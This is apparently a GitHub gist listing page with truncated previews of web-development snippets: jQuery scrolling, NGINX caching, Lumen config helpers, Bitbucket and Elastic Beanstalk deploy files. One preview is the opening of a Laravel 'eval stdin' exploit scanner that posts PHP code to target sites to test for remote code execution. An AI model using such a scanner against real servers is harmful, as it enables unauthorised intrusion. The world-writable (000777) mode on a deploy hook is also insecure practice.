Skip to content

Instantly share code, notes, and snippets.

@gozan
gozan / smoothscroll-anchor.js
Created March 4, 2025 03:27
Smooth scroll to anchor link (Internal & external pages)
$(document).ready(function(){
$("a[href*=\\#]:not([href=\\#])").click(function() {
if (location.pathname.replace(/^\//,'') == this.pathname.replace(/^\//,'') || location.hostname == this.hostname) {
var target = $(this.hash);
target = target.length ? target : $('[name=' + this.hash.slice(1) +']');
if (target.length) {
$('html, body').animate({
scrollTop: target.offset().top - 90 }, 1000);
return false;
}
# Bitbucket Pipelines Configuration file
# https://confluence.atlassian.com/bitbucket/configure-bitbucket-pipelines-yml-792298910.html
# options:
# size: 2x
# max-time: 60
pipelines:
default:
- step:
script:
- echo "This script runs on all branches that don't have any specific pipeline assigned in 'branches'."
@gozan
gozan / example.com
Created June 30, 2021 12:11 — forked from 1hakr/example.com
Supercharge your NGIX config
proxy_cache_path /tmp/cacheapi levels=1:2 keys_zone=microcacheapi:100m max_size=1g inactive=1d use_temp_path=off;
server {
listen 443 ssl http2 default_server;
listen [::]:443 ssl http2 default_server;
server_name example.com;
location /api/ {
# Rate Limiting
limit_req zone=reqlimit burst=20; # Max burst of request
@gozan
gozan / helpers.php
Created May 31, 2021 07:40 — forked from mabasic/helpers.php
config_path function for Lumen framework
<?php
if ( ! function_exists('config_path'))
{
/**
* Get the configuration path.
*
* @param string $path
* @return string
*/
@gozan
gozan / ConfigServiceProvider.php
Created May 31, 2021 06:57 — forked from chuckrincon/ConfigServiceProvider.php
Load all your lumen config files painless.
<?php
namespace App\Providers;
use Illuminate\Support\Facades\App;
use Illuminate\Support\ServiceProvider;
use Illuminate\Contracts\Filesystem\FileNotFoundException;
class ConfigServiceProvider extends ServiceProvider
{
@gozan
gozan / bitbucket-pipeline.yml
Created November 18, 2020 07:30 — forked from juniorb2ss/bitbucket-pipeline.yml
Bitbucket Pipeline Deploy Laravel to Elasticbeanstalk using parallel steps
image: atlassian/default-image:2
definitions:
services:
redis:
image: redis:3.2
memory: 512
mysql:
image: mysql:5.7
environment:
@gozan
gozan / deploy.sh
Created June 9, 2020 05:37 — forked from kcabading/deploy.sh
Bash script for deploying Wordpress using Jenkins and Bitbucket.
#!/bin/bash
# PLACEHOLDERS
# [STAGING_FOLDER] - staging directory in your server
# [STAGING_URL] - staging url
# [STAGING_USER] - staging user in the server
# [STAGING_MYSQLUSER] - staging mysql user
# [STAGING_MYSQLPASSWORD] - staging mysql password
# [ROOTUSER] - Mysql root user
# [ROOTPASSWORD] - Mysql root password
@gozan
gozan / laravelEx.php
Created January 17, 2020 08:14 — forked from zelsaddr/laravelEx.php
laravel eval stdin exploiter & env checker
<?php
error_reporting(0);
#LARAVEL EXPLOITER v1#
# BY FB/www.zeldin.go.id [ SECURITY GHOST ] #
define("SAVED_FILE", "envscanner".uniqid().".txt");
function test($site, $test = 1){
switch($test){
case 1 :
$postFields = "<?php echo('vuln'); ?>";
break;
@gozan
gozan / 01-deploy.config
Last active September 27, 2019 06:30
Laravel Storage chmod, supervisor, cronjob on aws using ebextension
files:
"/opt/elasticbeanstalk/hooks/appdeploy/post/98_make_storage_writable.sh":
mode: "000777"
owner: root
group: root
content: |
#!/usr/bin/env bash
echo "Making /storage writeable..."